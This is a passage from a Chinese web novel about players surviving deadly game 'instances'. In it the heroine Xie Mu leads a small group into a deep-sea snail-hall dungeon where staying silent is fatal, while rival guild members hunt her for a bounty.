“而且,”陈现似乎和苏迟杠上了,拍了拍胸膛比了个耶,“我家里有三个妹妹,两个弟弟,我特别会照顾人!”说着拍了拍夏炘也的脸,再一次说明了自己的价值。
苏迟要气炸了,她原本以为眼前的绿毛是个小混混,谁成想呢,竟然是个tony?!
你那么多弟弟妹妹要养你不下海,你剪刘海?
“好,你也跟我走。”谢幕大手一挥,当即全都要了。
“那个等等……”
”又怎么了?”
陈现将一边准备悄悄溜走的俞正则拉了过来,“可不可以带上俞哥一起?”
谢幕打量着面前这个身形壮硕的男人,如果是一般人,肯定会很需要这种充满力量的队员,但她不一样,力量对于她的副本通关,已经没有什么帮助了,或者说,她自己已经拥有了远超常人的力量,所以她看着面前的男人,希望对方给自己一个留下他的理由。
男人沉默许久,没有吭声,其实他……更喜欢一个人行动。
“俞哥是协会的军人,很能打……额可以保护我们!”
协会的人?
陈现见有戏,忙让俞正则掏出证来,谢幕看完确认无误后,冷冷道,”行吧,都跟我走吧。”
苏迟和陈现立刻扛起夏炘也,屁颠屁颠跟着谢幕就往岸上走去。
被扛起的夏炘也睫毛轻轻颤动,喉咙里溢出几个不可闻的气音,指尖微微蜷缩,说明他还有一些意识。
“妹妹……这小弟弟是你男朋……”苏迟捂住了他的嘴。
谢幕走在前面,头也不回,”别叫我妹妹,叫我谢幕。”
“好的,谢幕妹妹,这弟弟是你的男……”苏迟用固态胶把陈现的嘴巴沾上了。
谢幕一路带他们穿过一座城市的街道,苏迟一眼就认出这里就是他们那辆班车的起始站云港市的一块区域,此刻,周边的商铺都好像被扫荡洗劫了一般,商场内空空如也,没有一面完好的玻璃,道路裂开了一个个碗口大的裂缝,稍不注意脚就会卡进去,粗大的藤蔓匍匐在地上,蔓延到墙上。
大地一片疮痍,再往远处看,原本应该是一片巨大商圈的地方,却是空白一片,什么都没有。
虽然很好奇究竟发生了什么,但谢幕的脚步没有停下,他们也不敢停留,跟着她一直走,直到走到了一个布满街道的城市,这才停了下来。
他们也终于看到了人影。
12.观棋
狭长的走廊里,闪烁着昏暗的灯,女人推开门,清冷的空气,混合着一些汗水的咸味,被空调送出的新鲜空气稀释,形成一种一言难尽的味道。
“呼——哧——”
声音来自深处的,一个身影正卧在深蹲架上,进行最后一组推举,深灰的杠铃片在日光灯的照射下泛着冷光。
“我们派去开荒的两个人,有消息了。”女人推了推眼镜,对着面前那个身影说道。
一声闷响,杠铃被稳稳放回支架。沉闷的呼吸持续了片刻,才逐渐平息。
“怎么说?都死了?”男人从阴影里走出来,他低着头,汗水顺着下颚滴落。
“你看看就知道了。”
女人将手中的笔记本电脑打开,开始播放副本里面的画面。
只一会儿,男人就疑惑道,“古堡类副本,规则像没有一样,开局系统也什么信息也不交代。”男人开始拖动进度条,面色越来越严重。
“双轨祭?”
“出现这个节日相关的副本,无一例外都是非典型副本,而且,全军覆没。”女人说着,划出了关于屏幕上副本的相关信息。
67%通关率。
男人直起身来,他只穿了一条裤子,精壮的上身赤裸裸地袒露出来。
“有不少人推测,在这个节日背景的副本,玩家都是系统用来献祭的工具,所以根本不存在通关一说。”女人拿出纸巾将他脸上的薄汗擦掉,然后一顿,手悄悄往下走去。
“所以呢?”视频还在继续播放,只不过调成了倍速。
画面中,老大和李三在进入古堡的第一时间,并没有跟随系统的指引,前往大厅,他们遵守开荒者的一贯原则,对古堡的大致结构进行了调查。
“整个古堡总共有四层,一楼是厨房、储物间还有一些客房,都是没有人居住的,还有一些上锁的房间无法进入。二楼多是一些书房和女仆居住的地方,再往上有女仆和古堡的管家巡视,所以没办法探索,应该是夫人居住的地方……我们用道具探查到,地下应该有一个巨大的空洞,应该是地下室之类的地方,接下来也会成为我们重点寻找的地方,但是我们暂时还没有找到入口……”老大说完,舔了舔嘴唇,似乎是被什么东西吸引了注意,目光朝后面看去。
一个巨大的警示符号闪烁着危险的光芒,在走廊上逐渐扩散开来……
两人显然都被吓得有些不知所措,打开系统面板一看,任务面板上的文字竟然诡异的扭曲成不知名的形状,依稀能够辨认出几个模糊的字眼——
【%&报错?##玩!(撤离………^_^重启】
【游戏屏障消失】
最后,光屏剧烈闪烁几下后,一个小型的黑洞突然在老大的脚边出现,只一瞬间,他的右小腿便被撕碎。
男人开始疯狂按快进键。
之后两人通过道具恢复伤口后,遵循系统的逃生任务,虽然两人已经隐隐觉得系统可能不靠谱了,但是也不敢轻举妄动,毕竟他们这一次进入的副本类似于封锁的未知区域,他们是拿着塞勒姆公爵的信才有机会进入这个副本的,所以直到他们大火烧了厨房之前,都觉得这是一个规则严密的古堡规则怪谈副本。
在发现乱来不会有事情之后,两人的形式也大胆起来,开始寻找古堡的那个地下室,果不其然,在二楼的一个书架后,他们找到了一条密道,顺着密道下去,他们看到了这辈子都难以忘记的景象。
一具具或大或小的白骨层层堆叠在一起,形成了骨山,最关键的是,除了正常人类的骸骨,还有一些体型巨大的的巨人,头上长角的或许是兽人……有一些还十分新鲜,老大想再往深处看看,一个不留神,一脚踩爆了一个浑浊的眼珠子。
再往后,就是他们想要找谢幕合作的,偷听的场景。
夜晚的时候,他们趁人群大多据聚集在宴会厅,前往花园寻找线索,毕竟副本只有一天时间了,而他们对于逃离副本可以说还没有半点头绪,作为老玩家,他们可不认为老老实实工作可以在做后一天全须全尾地离开。
然后……
画面定格在最后一瞬。
男人紧紧盯着那张女人的脸,是谢幕。
“她是谁?”他深深吸了一口气,没有借助任何规则,只用了一刀,就将一个训练有素,道具充足的成年男子毙命,究竟是什么来头?
女人有些意犹未尽地收起手,摇摇头,“从她的表现来看,绝对不会是一个新手玩家,而且筹码的持有数量排名应该也不会低……但是,我们没有找到任何一个对的上的玩家。”
“十六七岁的女孩,身上没有任何特殊图案纹身,大概可以推测她不属于一些邪恶神秘组织,使用一把黑色匕首……”男人呢喃道,他进入游戏也很长时间了,但是脑海里也根本没有任何印象。
难道她是新出现的npc?
【副本强制结算开始……】视频继续播放,男人愣了愣,这个音频道具应该在宿主死亡后就无法再继续记录了。
“还有谁活着?他现在在哪里。”
“李三,我们刚刚在云港登陆的地方找到他了,待会就能过来见您。”
不难猜出,能让整个副本进入强制结算的,达成67%存活率的,除了这个神秘的女孩外别无他人。
“把这个人的脸打印下来,再多去问问。”男人说着,抓起一件外套披上。
“不直接去把他们抓起来问问吗?我们的人现在就在云港附近……”
对方有这身手,结果竟然查无此人,显然是个孤狼,一般手段是请不来的。
男人摇摇头,“就她那个身手来看,我们就算抓到她,估计也会受到不小的损失,而且万一抓不到,之后可能还会得罪人家,不好使。”
走到门口时,男人又叮嘱道,“把这个消息放出去,就说,有人通关双轨祭的副本了,记得附上这个女孩的信息。”
能者多劳,就让能者去吧。
……
“感谢谢幕妹妹,如果不是你,我们今晚都睡不了那么好的地方。”陈现幸福的亲了一下酒店光滑洁白的墙壁。
他们一路跟着谢幕来到了一个新的城市,苏迟又一次认出了这是哪里。
早就成为沦陷区的广泽市。
和云港不同的是,广泽市虽然看起来也很荒凉,但是一些商铺
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酒店都有了一些人气。
他们找了一家酒店想要睡下,结果。
“房费一晚120筹码,抢钱呢?!”陈现被价格吓傻了,他们三个加起来都没有那么多,更何况还只是一晚。
“住不起就别住呗。”前台冷冷道,顺便翻了个白眼。
陈现咽了咽唾沫,想了想外边凶神恶煞的花臂大哥,虎视眈眈的沿路行人,再看看周围布满软装,笼罩在暖色灯光下的酒店,闭上了嘴巴。
谢幕小手一挥,“两间房。”
“好嘞,您请。”前台顿时变如脸。
陈现现在都快哭了,就差把谢幕当做自己的衣食父母了。
果然选择大于努力,站对队嫁对人……
“你们负责照顾他,”谢幕将夏炘也丢给了他们,用手指了指,“别死就行。”
“明白!”陈现敬了个礼,目送谢幕走出了房间。
等夏炘也再睁眼时,他的眼前,就是熟悉的现代白织灯,让他恍惚以为,之前发生的一切,都是梦。
可他再抬头。
“睡美人醒了。”谢幕托着下巴看着他,夏炘也不知道为什么,总觉得面前的女孩变了不少……变得更好看了。
他耳朵在无人察觉的地方悄悄红了,他闭上再一次睁开。
这次谢幕站在了他床前,“你这是在干什么?眼睛疼?”
“没没有,刚醒有点看不清……缓一下。”夏炘也结结巴巴到。
“嘿小弟弟,你睡了两天了,饿了不,快来尝尝这个。”陈现端上来了一碗蛋炒饭。
没办法外面的食物也很贵,但是秉持着不能一直麻烦人家的原则,陈现决定在酒店房间自带的小厨房自己做。
该说不说挺好吃的。
夏炘也狼吞虎咽地吃完,心说自己猜的没错,他们果然早就达成合作了。
他看向苏迟,对方笑着回应他。
拜托,千万不要提副本里面我们合作的事情,不然就露馅了,看似镇定的微笑下面,其实已经求神拜佛好一会了。
“你醒了的话,准备一下吧,我们要下新副本了。”谢幕淡淡道。
?
哦对,上一个副本,自己应该是完全意义上的“躺赢”了。
“我们……是怎么通关的?”看谢幕要走,夏炘也急的直接翻身下床,结果差点摔了个狗吃屎。
“经过你的不懈努力,你的完美睡姿打动了boos,他决定放我们一马,代价是……”
谢幕笑着看向他,”代价就是,你要成为他的儿子。”
气氛突然安静。
“哈哈哈哈,好好笑。”陈现和苏迟不约而同笑了起来,经过几天的相处,他们已经摸清了眼前这个大腿,很喜欢说一些冷笑话。
陪笑提供情绪价值,是一个小弟的基本素养。
而且,谢幕很受用。
女孩有些不好意思地快步走到门前,“总之,明天我会下副本,到时候跟不上我的,就自生自灭吧!”
”yes,sir!”
门砰一声关起。
两人转身,对上了夏炘也莫名有些怨毒的眼神。
13.听海者
【副本开始倒计时】
【副本名称:深海骨螺馆】
【副本背景:海平面1500m以下,埋葬着一个沉没多年的骨螺养殖基地,10年前的一个夜晚,骨螺馆突然消失,连带着里面的十多名员工也消失不见,至今杳无音讯,直到今天,你们作为捞珠人,意外发现了这个地方……会呼吸的墙壁,窗外的鬼影,无尽的回声究竟是不是你发出的,十年前的人是否还存活,他们又是因为什么下落不明……死去的人给不了你们答案,你们别无选择,一直往前……让一切回归平静】
【静默值:玩家必须一直发出声音,静默值清零当即抹杀(该副本限定玩法)】
【玩家必须在6h内找到5颗静音海螺,并将其投入螺母育房,即可全员通关】
【温馨提示:骨螺馆里一直有“活人”存在】
“袁哥,”一个平头青年对着男人喊道,“你看不久前发的消息了不。”
被叫做袁哥的男人斜眼瞟了他一眼,“你当我瞎呀,那么大个大头照我会看不见?
“那万一我们真的遇到那个女人了,真的要采用一切手段把她带回我们工会吗?”平头青年挠着头。
“那不然呢?工会发布的任务,我们不竭尽全力完成,还混不混了?”袁哥一派严肃的神情,示意对方别开玩笑了。
不远处是一个漆黑的洞口,很明显这就是这次副本的入口,已经有一队人站在洞口前面了。
这是哪家的人,袁哥看着眼前的那堆人有点疑惑。
一般来讲因为副本奖励平分的机制,就算不加入工会,也会选择组队来进行活动,一般也会选择固定的成员来进行组队,来保障团队成员之间的相互信任。
他记得以自己的水平,这应该是一个中等偏上难度的副本吧,怎么会眼前的几个人看起来都很面生呢?
是哪个工会带的新玩家吗?袁哥陷入了思索。
青年突然拍了拍袁哥的肩膀。
“又怎么了你小子?”
平头青年手小心地指向前方,袁哥的目光顺着看去。
一张熟悉又陌生的脸闯入他的视线。
是谢幕,最近在工会中高层疯传的家伙。
哪个副本的回放他也看过,确实是一个三无副本,无信息,无逻辑,无杀机的副本,但是介于那个副本,以及对方在副本中的身份的特殊性,也是值得那么多工会注意了。
“她手上的那把刀不会低于s级。”袁宿记得自家会长说的话,一个不超过十九岁,一个人未解锁领域——静谧之森的核心区域副本,竟然最后有a级的综合评价,关键玩家里还查无此人。
袁宿当时听到的时候,身边有脑洞大的,突然来了一句,“她不会是很久以后的超级玩家,在哪个sss级副本里面获得时间穿梭的道具,穿越回来的吧……为了拯救自己的爱人?为了……”
会长及时叫停了她,但是袁宿现在有点想知道关于那个谢幕还有什么可能,因为人现在在自己面前,有点急。
“哥,那我们?”青年小声道,将袁宿拉回现在,手指在身下不停的比划。
“想什么!”袁哥狠狠锤了他的脑袋一下,“先活过副本再说,别想那些有的没的。”
“赏金一万筹码呀!搏一搏,下半辈子都不用再下副本了。”平头青年依旧跃跃欲试。
也有可能下半辈子都没办法再下副本了,袁宿内心是不抱一夜暴富的愿望的,能开出这样赏金,上面的人研究出的门道绝对不止他听出来的,而且最先得到消息的云雀工会,知道了那么劲爆的消息,最后却选择放出来,还专门把人脸单独附了个文件,目的不言而喻。
别被当枪使了,袁宿在次提醒了自己,然后假装没事人一样,带着身后的几人从他们身边经过,路过谢幕的时候,还对她漏出一个善意的微笑。
“多多关照。”袁宿挂上人畜无害的微笑。
谢幕疑惑但还是笑着点点头算是回应。
在这个为了争夺道具不惜痛下杀手的地方,还有人一开始就抱有善意已经是非常难得了,哪怕对方是假意,谢幕还是愿意做做样子的。
袁宿的目光在看过去,果然,古堡副本里面的熟面孔都在这里了。
苏迟,同样的a级评价,推理一丝不苟,结果差之千里。
夏炘也……袁宿重重碾过这个名字,同样值得注意的一个家伙,只不过对方表现出来的实力太过一般,比较吸引人的,是npc对他的态度。
俞正则……陈现,也一般。
简单评估完几人后,为了不打草惊蛇,袁宿他们不再停留,快步进入了副本,与此同时,谢幕一行人也跟了过来。
“记住我跟你们说的了吗?”彻底陷入黑暗前,谢幕再一次确认。
“当然!不要相信陌生人,紧跟队友,尤其是你,和队友失散以后再遇见也不要轻易相信……”
身后的人小声复述到,直到进入副本。
不知道是不是副本入口太过空旷,他们的小声说话激起了一道道回音,而且越来越大声,听着也越来越真切,好像就是他们自己在不停重复。
“不要轻易相信……”
“不要……”
“相信……”
“嘿——”陈现突然大喊了一声,把周围的人吓了一大跳。
“你干什么?”苏迟踢了一下他。
“不是说不能一直保持安静吗?”陈现一脸无辜地回头,“我寻思就发出点声音呢,来你看。”
说着将自己的系统面板调了出来,静默值已经上升了8,加上初使30的静默值,现在陈现很荣幸成为了在场静默值最高的玩家,而且因为发声者的安静而逐渐降下来。
看起来一切似乎都没有什么问题,但苏迟隐隐有一种不好的预感。
“放心啦苏姐我有分寸的,啊!”陈现边走边笑着说,突然脚下一空,差点头朝下摔下去,当即大叫一声,幸好俞正则眼疾手快扶住了他,这才没有受伤。
细细看地面上,竟然是一个个幼年体的香螺镶嵌在上面,尖锐的尾部正对着上方,摔下去不知道会发生什么。
【恭喜玩家触发游戏关卡——共鸣回廊】
系统地提示音这时候突然响起,袁宿下意识看去,还好静默值没有上涨,这个奇怪的限定玩法,计量标准应该只有玩家本人。
但是已进入副本就触发游戏关卡,这节奏也太快了一点吧,这是你们团队的特色吗?
来不及人多想,面前出现了一条狭长的管状通道,上面同样镶嵌着大大小小的香螺,因为他们的到来,整条通道猛的亮起幽蓝的光芒,又突然消失,只剩下几个光斑不规则的在任意地方亮起。
【抵达回廊的尽头,即可获得奖励】
系统话音未落,管道壁上的香螺突然发出类似呼吸的声音,不知道是不是错觉,似乎还有几句人声夹杂在里面。
同时,整
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个管道涌动起来,地面随着呼吸声不断上下起伏。
静默值在增加,夏炘也此时努力凑上去,小心地告诉了他们这个消息。
谢幕点点头表示自己知道了。
“抵达尽头就通关,怎么感觉没那么简单呢?”苏迟看向前面依稀亮着几个光斑的通道,其实无论是看着尖锐的香螺还是起伏的地面,只要小心一点,都能够很容易通过的,但是现在在一个随时都会丧命的副本世界中,他们不得不多思考一下,眼前的东西是不是真的想他们想当然的那样简单。
就在众人还在犹豫要不要直接走过去的时候,谢幕随手扣下一个掌心大小的香螺,往前扔去。
香螺随便落在了一处黑暗,顿时,一声凄厉的惨叫传来。
撕心裂肺,好像见到了什么无比恐怖的东西后拼尽气力发出的声音。
凄厉的尖叫刺激着众人的耳朵,众人连忙捂住了耳朵,不知过了多久,声音才停了下来。
“靠,这女人在干什么!”平头青年忍不住骂了一句,一看静默值已经飙到70多了。
虽然静默值是清零才会被抹杀,但是系统也没有明确说明,静默值到100会发生什么,控制在一个安全的范围才比较稳妥,结果谢幕这一搞,一下子就飙升到一个及格线以上的分数,就算袁宿让他们不要去招惹,他的脾气也有点憋不住了。
他抬头看去,却发现始作俑者不知道什么时候已经一个箭步冲了出去。
再看向通道方向,刚才香螺掉落的位置,此刻矗立着一个巨大的怀抱宽的骨刺,按照副本的尿性来讲,估计是一瞬间钻出来,然后把人串成串用的。
他轻轻深吸了一口气,再看四周,发现大家都屏住呼吸看着什么,顺着他们的目光看去。
只见谢幕先是一个跳跃,跳到了最近的一个发光的区域上,随后趁着光亮还没有熄灭,向前邻近的一块光斑扑去。
就在人刚好飞到半空中的时候,那个位置,无声的熄灭了,相反的,谢幕的头顶出现了一块新的发光区域。
不好!众人深吸一口气,夏炘也浑身一僵想要冲出去,却别后面的俞正则拉住。
苏迟闭上了眼睛,脑子里已经想好如果谢幕死了,她就准备巴结一下旁边这个看起来也很老练的队伍了。
突然不知道谢幕从哪里变出来一把黑色的匕首,手腕向上一翻,狠狠插进了上方那个区域,整个人挂在半空中。
袁宿几人顿时眼前一亮,是那个据说的s级道具!
离得太远,光线也不是很好,袁宿看不大清楚,但从一下子就削开游戏墙壁来看,绝对不会是凡品。
他暗自庆幸自己没有选择硬碰硬。
接着如法炮制,又是几个跳跃之后,谢幕稳稳当当落在了远处似乎安全的地方,朝里面走去。
那么接下来,然后呢?让他们这群四肢不发达的家伙去烤烧烤吗?
所有刚刚因为谢幕安全而缩回去的嗓子眼又提了起来。
另一边的谢幕,通过了通道之后,在隧道尽头的平台处找到了一个黑曜石柱,顶端镶嵌着一个通体雪白没有花纹的鹦鹉螺,她用刀轻轻一挑,不费吹灰之力就拿了下来。
【恭喜玩家,获得道具:静音海螺】
【游戏结束】
听到游戏结束的声音时,袁宿等人都露出了疑惑的神色。
这个表情苏迟很熟悉,因为她第一个副本躺赢的时候也是露出了这个表情。
14.孤线
退出游戏后,袁宿还感觉有一些不真实。
望向谢幕此刻手心里静静躺着的静音螺母,他陷入了思考。
刚好这时候俞正则的头转了过来,对上了袁宿的目光,下一秒他立刻又转回去,和谢幕交换了一下眼色。
谢幕表现得倒是很无所谓,很大方的向袁宿展示了一下副本的通关道具长什么样后,才收了起来。
“剩下四个海螺应该样子大差不差。”
说完,谢幕带着她的四个小弟转身就走,似乎并没有合作的意愿。
“哎袁哥,我们不跟上他们吗?他们现在手里已经有了一个道具了,我们组成一队的话,也就是说只要在找到四个就可以通关了。”袁宿心说你看人家那跑开的速度,是想和我们合作的样子吗?
袁宿长叹一口气,又连忙闭上嘴,毕竟静默值一直在升,良久,他才小声道,“先别管他们了,这次进来的不止我们一个工会的,待会记得保存实力,不要被过多消耗。”
不然能收齐足够的副本道具,也要看有没有命用才行。
其实从入口进来只有一条路可以走,哪怕两队人分开了也不过是前后位置而已。
谢幕一行人顺着路一直往前走,通道里漆黑一片没与半点照明,脚边还总是出现一些奇奇怪怪的东西,各种奇形怪状大小各异的海螺,破碎的望远镜……
苏迟拿出了自己永不会熄灭的灯,勉强能把几人周围照亮。
可走着走着,夏炘也发现有点不对劲,他总觉得自己的脚似乎在不自觉地拐弯?
他们不会一直在绕圈子吧,他突然想到,鬼打墙?
他刚想开口,谢幕突然伸出一只比划了一下墙壁,然后又扯出一条棉线,将一头递向了身后。
夏炘也很自然的接过。
谢幕拉着棉线的另一头继续向前走,等位置差不多了,示意夏炘也贴墙站好。
棉线绷直,但却并没有紧贴在墙上,穿过浓浓的迷雾,可以看到,棉线的中间位置并没有和墙面贴合,反而形成了一个类似微笑的形状,好像是对他们无声的嘲弄。
“啊……原来这条通道是圆弧形的,怪不得回声效果那么好……”许久没有开口的俞正则罕见的开口。
这一开口,道出了真相的同时,还给一旁的陈现急的,这家伙的嘴巴已经又被苏迟粘起来了,至于静默值?拜托这家伙连呼吸声都很吵好吧,只是呼吸,陈现的静默值都能稳定在40以上。
“那看来我们只要一直走,就能走到螺母育房了。“苏迟的的手比划着,一个圈一个圈绕过去,最后正中心应该就是最终任务点,斯,她总感觉这个形状还挺眼熟的。
就在大伙的心情稍微放松的时候,突然,夏炘也手中原本腾空的线,猛的绷直将人往前拽去,一瞬间又飘飘忽忽落了地。
夏炘也神情一僵,立马将手里的线放下,顺着线就往前冲去。
其他三人见状虽然一惊,但也跟着跑去。
谢幕走的不算远,夏炘也一会就到了线的另一端,中间线并没有断裂的痕迹。
线的尽头,空无一人。
“你们还记得吗!?”夏炘也突然抓起那条落在地上,好像随时都会被遗忘的线对着苏迟他们喊道。
一瞬间,他的静默值疯狂上涨。
“炘也你冷静一下,”苏迟扶住他的肩膀,随后转身,用灯把周围的的环境照开,随后在不远处,发现了一张照片,照片早就已经褪色泛黄,但还是能够依稀看出这应该是一个四人合照,她将照片拿了过去想要给夏炘也看。
再扶上青年的肩膀时,却发现对方的身子一直在发抖,她安抚性地拍了拍面前这个年纪才自己一半大的孩子,将照片放到他的面前。
“这里周围那么多灰尘,除了谢幕的脚印以外没有别人,更别说打斗痕迹……你看,我顺着她的脚印走去,在尽头发现了这张照片。”
照片上勉强可以看出四个人的身形,只不过除了最左边的那个男人,其他人的脸都被用某种利器刮花了看不清面容,只有那个男人,面无表情的看着镜头……
“这应该是一个副本的剧情探索点,谢幕估计是触发游戏了,我们在外面等她,应该过不了多久。”说着将照片塞进了夏炘也怀里,又拍了拍他的肩膀。
夏炘也没有说话,只是低着头不知道在想什么。
“记得吗?”
“记……得……”声音不断回响,还夹杂着一些脚步声。
原本他们以为这只是他们刚刚小跑过来脚步声的回音,但是接下来,一道明亮的白色光柱直直射了过来,苏迟被光晃得闭上了眼睛。
“喂!”一个胳膊和头一样粗的壮汉,梗着脖子朝他们喊道,目光在他们几人之间不停游走,似乎并没有找到自己想要的东西,才疑惑地问到,“你们前面还有人吗?”
苏迟全身的肌肉猛的紧绷起来,面前的男人,腰上挂着不少武器,刀,弩……甚至还有一把枪,此刻枪口朝地,可冰冷的寒光,却依旧瘆人,最关键是,他身后,起码还有两个人,一眼看去基本都是这个配置。
四个人无一例外都倒吸了口凉气,看似他们人数上占了优势,但是副本争斗,人多就能赢吗?
“有。”苏迟突然小声开口,指了指自己飞涨的静默值,“就在刚刚,有五个人朝前走了。”
“那你们现在,拉着条线在这里干什么?”男人转了转自己其实已经看不出来的脖子,问到。
苏迟一脸悲痛,似乎难过到说不出话来了,心里却在疯狂呐喊,快想啊!死脑,想不出来估计就真死了。
对方装备齐全,一上来就问有人没有,显然目标明确,是奔着人来的。
然后再动用直觉猜测一下,对方说不准是奔着谢幕来的。
当然这只是苏迟莫名的猜测,只不过实话实说那才真是蠢得没边了。
“她把我们的道具抢走了,还有一个静音螺母,也在她手上。”夏炘也突然开口,男人看向他,发现这个青年一脸委屈抱着张照片,眼尾红红的,好像随时要哭一样,顿时信了三分。
这得多委屈啊……
男人走了过来,狠狠拍了一下夏炘也的背,“哭什么!男子汉大丈夫的,被一个女人抢了道具,还委屈成这样,像什么话,把腰给我直起来,去把道具抢回来。”说完又看了一眼苏迟,这一看又
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发现了不对劲,被抢了,一点伤都没有吗?。
苏迟反应顿时迅速,立马圆到,“她太强了,我们用来道具但是一下就被她破坏了,为了保住性命,我们只好把道具全部给她了。”说完抽了抽地上的棉线。
任何道具使用过后都会变成和寻常物品没有区别,那一件被损坏的道具,她说这棉线是那就是咯。
男人看了看要哭的夏炘也,又看了看看似身体壮硕,却全程一言不发的俞正则,又看向嘴巴好像被什么透明东西封起来的绿毛小伙,心说你们被抢真是该呀。
“怎么都被抢道具啊?”他在门口遇到袁宿那死东西,人也告诉他说自己的东西被抢了,他还不信,现在又来一队人说自己被抢了……难道抢劫是谢幕的习惯,反正他现在信了。
男人斜眼瞟了他们很久,最后还是选择放过他们,带着自己的一众马仔就要往前,却又突然转身。
“你,跟我走。”
苏迟整个人浑身一僵,一瞬间她既已经做好心理准备了。
只要这个男人对自己有什么非分之想,她就是死也要打爆他的狗头。
“老子最看不得男人哭,跟着我。”男人补充了一句。
这下轮到夏炘也懵逼了,呆楞在原地。
陈现在一旁疯狂摆手,心说开什么玩笑,人家还要等人回家呢……却又被俞正则抱住……
……
最后夏炘也在男人一队的眼神威胁下,不得不跟上他们,临走前,他将照片珍重地放到了苏迟手里。
“快点别墨迹。”男人松了松筋骨,一把揽过夏炘也的肩膀,“以后跟着我好好混知道了吗!”
”知……知道了。“
“说话别结巴!”
“……好”
苏迟看着两人远去的身影,壮硕的男人搂着明显瘦削不少的青年,陷入了沉默。
她思想龌龊就先不说话了,保重孩子……
这时,苏迟突然发现了什么,将手里的灯对准了照片的背后,上面以前应该写着什么,只不过现在已经褪色了,但还是能够看到笔触的痕迹。
“三人行,一人归?”结合照片可以理解,恐怕是最后存活的这个人,受不了离别的痛苦,所以把照片上的其他人的脸刮花了……
吧?
“你静默值多少了。”男人松开了夏炘也,状似轻松地问道,可他却隐隐嗅到了危险的气息。
不知道什么时候,三个人已经将他围在了中间。
“50……多。”其实已经76了,刚刚谢幕不见了之后,他的心脏跳得格外剧烈,连呼吸也跟着急促起来,不知道什么时候,静默值已经飙升到这个数字了……看着面前人的模样,他觉得现在应该报少一点才好。
男人笑了一下,不慌不忙地从口袋里掏出一根烟,旁边另一个男人连忙识趣的为他点上火。
突然,一个冰冷的椭圆状的东西抵上夏炘也的脑袋。
“在我抽完这根烟之前,把静默值给我刷到一百,不然……”男人说着,扣动了扳机,发出一声清脆的响声,对着夏炘也弹了弹烟灰。
“我最讨厌你们这种小白脸了……”
15.潮声起
夏炘也识趣地举起手来,“大哥,你不是说让我以后跟着你好好混吗?”
“对啊我是说过,现在你不得为我做点事吗?”男人嘴里的烟越来越短,“如果你是想用这种方式来涨静默值,我想或许不太够……”
男人阴冷地说道,手上的枪慢慢下移,就在夏炘也松了一口气的时候。
砰——一声枪响,一颗子弹,在夏炘也还没有反应过来时,已经击穿了他的小腿。
夏炘也闷哼一声摔倒在地,咬着牙看向面前这个疯子,愣是没发出一点声音。
“哟,这不是个硬骨头吗?怎么,刚人家一姑娘把你吓成这样?我就不吓人了?”男人又扣动了一次扳机,这一次,对准的是他的胸口“快叫吧,还是说我要我帮帮你?”
幽深的枪口对准面前的青年,随时会再次迸发出火舌。
夏炘也闭上了眼睛,他内心突然有很多话想对一个人说……可那个人偏偏这个时候,不在他的身边……哦不,她从来没有和自己并肩站在一起。
男人带着身后两人慢慢退后,“时间不多了……快点吧。”
“你们在害怕什么。”躺在地上的青年,忽然说道。
他的话混着鲜血一起落在地上,没有人理会。
可落在男人心里,心里的那块湖泊却微微泛起波澜。
害怕吗?男人停下后退的脚步,缓缓吐了一口烟。
烟雾升腾而起,在他面前蒙上了一层纱布,好在这手电筒是道具,隔着老远也能将青年的位置看的一清二楚。
可就在这时,青年突然动了一下,男人不以为意,结果眼前的光亮越来越亮……
“不好,快按住那个小子!”男人立刻意识到事情的不对,忙指挥到,可已经来不及了,眼前只剩下白色,伴随着刺痛从眼睛处传来,男人意识到自己被骗了。
这小子根本没有被抢道具!他和那个谢幕是一伙的!
【已使用b级道具,折枝的叹息:“花不明白,人们为什么认不清自己,它以前以为是自己长的不够独特,后面才明白,人们只是不愿认清自己……”】
【使用后可产生强光对目标造成4s的致盲效果,一次性消耗道具】
【现状态,已损坏】
夏炘也的身前,一朵白色月季骤然枯萎,随后化作尘埃随风而逝。
他的手指死死扣着地板上的香螺朝一边爬去,一个个尖锐的香螺将他的小腹划开一道道血口,他却好像没有知觉一般,甚至速度越来越快。
一定得活下去,他的目光锁定到两侧。
夏炘也知道自己爬不远,更何况有伤在身他根本没有时间处理,哪怕躲过了这一时,这几个人肯定会顺着血迹再找到他。
只能祈求上天保佑一下自己了,他撑起身子靠在墙壁上,冰冷潮湿的感觉隔着湿透的衬衫和血肉,直钻进他的骨头里。
这些通道的四周会偶尔分散一些杂物,泡得发臭的鞋子,鱼骨头……照片,什么都有,而他现在面前,很走运的是,有一大堆破烂堆成一座小山,有一个好消息是,他可以把自己的身影掩藏在这些东西后面。
一个坏消息是。
男人的声音越来越近,就算没看见,夏炘也听得出来男人现在一定气的满脸通红。
说起来,自己还真是一个容易让人产生巨大情绪波动的家伙呢?
他自嘲道,手里摸着从垃圾堆里掏出来一个个“宝贝”,拖鞋……不要,旧电脑没反应……
“刺啦——”在他怀里,一个收音机突然发出一阵噪音。
不远处的男人顿时回过头,“找到你个臭小子了。”他嘴里边骂着,脚步声逐渐逼近。
但是,还有一个好消息是——
“刺啦……次次,喂喂喂,这里是次次,我们在等你……你们还……”年久失修的收音机里传出一个男人的声音。
他触发游戏了。
【恭喜玩家触发单人游戏任务】
【关卡名称——】
眼前的景象破碎开来,各种光亮细碎成泡沫,向遥远的虚空溢散开来。
一声咕噜咕噜的冒泡声,一颗脑袋从水里钻了出来。
【游戏潮笼循环次数为3/8,请玩家继续努力】
谢幕从水中钻了出来,将手中的相机重新挂回胸前,手电筒射向前,环顾了四周一圈。
咚咚咚——巨大的钟声响起,震得整个空间都在发抖,时针逆转,原本落在水里的钥匙突然飞起直直冲向一般淹没在水里的桌子,同时她脚底下的水正在迅速上涨,好像来自深渊的猛兽,要将眼前的人类吞吃入腹。
谢幕没有犹豫,她一把抓住了手边一条从上方垂落下来的绳子,快速向上爬去。
整个游戏关卡的场地被界定在了一个废弃的观测站里,整个楼像是一条竖起来的狭窄通道,左右墙壁之间只有三四米那么宽,而高度却有八层楼那么高,而且层与层之间,还没有楼梯,好在谢幕用巧劲把绳子拴在刀把上,又用了一个小窜天猴道具把刀牢牢插进了天花板,不然自己就只能随潮而涨,随潮而落了。
可哪怕她的速度已经快得出奇,潮水与她的较量也只是堪堪打了个平手,直到谢幕爬到了最顶层,隔着一层,上涨潮水似乎并没有停下来的打算,只是水位上升的速度明显变慢了。
算了,勉强算倒计时6h开始。
谢幕不再理会上涨的海水,准备趁自己没有被淹没前,好好梳理一下刚刚获得的线索。
她将绳子在自己手臂上绕了个圈,稳定住身形,随后开始翻看起自己第一轮循环拍摄的照片。
第一张,是一张浮球。
